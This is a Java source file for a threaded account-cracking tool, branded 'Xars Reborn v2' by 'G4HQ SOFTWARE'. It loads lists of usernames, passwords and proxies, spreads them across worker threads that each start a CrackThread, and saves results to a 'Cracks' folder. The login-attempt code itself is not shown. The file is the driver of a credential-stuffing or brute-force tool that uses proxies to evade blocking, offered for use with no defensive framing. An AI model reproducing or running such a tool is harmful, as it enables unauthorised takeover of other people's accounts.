/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package xarrebornv2; /** * * @author cohen */ import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.Scanner; public class Cracker { private final int threads; private final ArrayList usernames; private final ArrayList passwords; private final ArrayList proxies; public Cracker() { File f = new File("Cracks"); try { if (!f.exists()) { if (f.mkdir()) { } else { System.out.println("Cannot create directory Cracks"); System.exit(1); } } } catch (Exception e) { e.printStackTrace(); System.exit(1); } System.out.println("Xars Reborn v2 (Https Proxies)"); System.out.println("========G4HQ SOFTWARE========"); System.out.println("Enter number of threads to use"); final Scanner scan = new Scanner(System.in); threads = scan.nextInt(); System.out.println("Cracker started using: " + threads + " Threads"); usernames = readFile("usernames.txt"); passwords = readFile("passwords.txt"); proxies = readFile("proxies.txt"); if (proxies == null || passwords == null || usernames == null) { System.out.println("Error With reading files"); System.exit(1); } calcThreads(); } private void calcThreads() { ArrayList[] tUser = new ArrayList[threads]; ArrayList[] tProxy = new ArrayList[threads]; for (int i = 0; i < tUser.length; i++) { tUser[i] = new ArrayList(); tProxy[i] = new ArrayList(); } int nThreadUser = usernames.size() / threads; int nThreadProxy = proxies.size() / threads; for (int i = 0, k = 0, p = 0; i < threads; i++) { for (int l = 0; l < nThreadUser; l++) { if (i != threads - 1) { tUser[i].add(usernames.get(k)); k++; } else { while (k <= usernames.size() - 1) { tUser[i].add(usernames.get(k)); k++; } } } for (int l = 0; l < nThreadProxy; l++) { if (i != threads - 1) { tProxy[i].add(proxies.get(p)); p++; } else { while (p <= proxies.size() - 1) { tProxy[i].add(proxies.get(p)); p++; } } } new CrackThread(tUser[i], tProxy[i], passwords, i + 1); } } private ArrayList readFile(String fileName) { if (fileName == null || fileName.equals("")) { throw new IllegalArgumentException(); } String line; ArrayList file = new ArrayList(); try { BufferedReader in = new BufferedReader(new FileReader(fileName)); if (!in.ready()) { throw new IOException(); } while ((line = in.readLine()) != null) { file.add(line); } in.close(); } catch (IOException e) { e.printStackTrace(); return null; } return file; } public static void main(String args[]) { new Cracker(); } }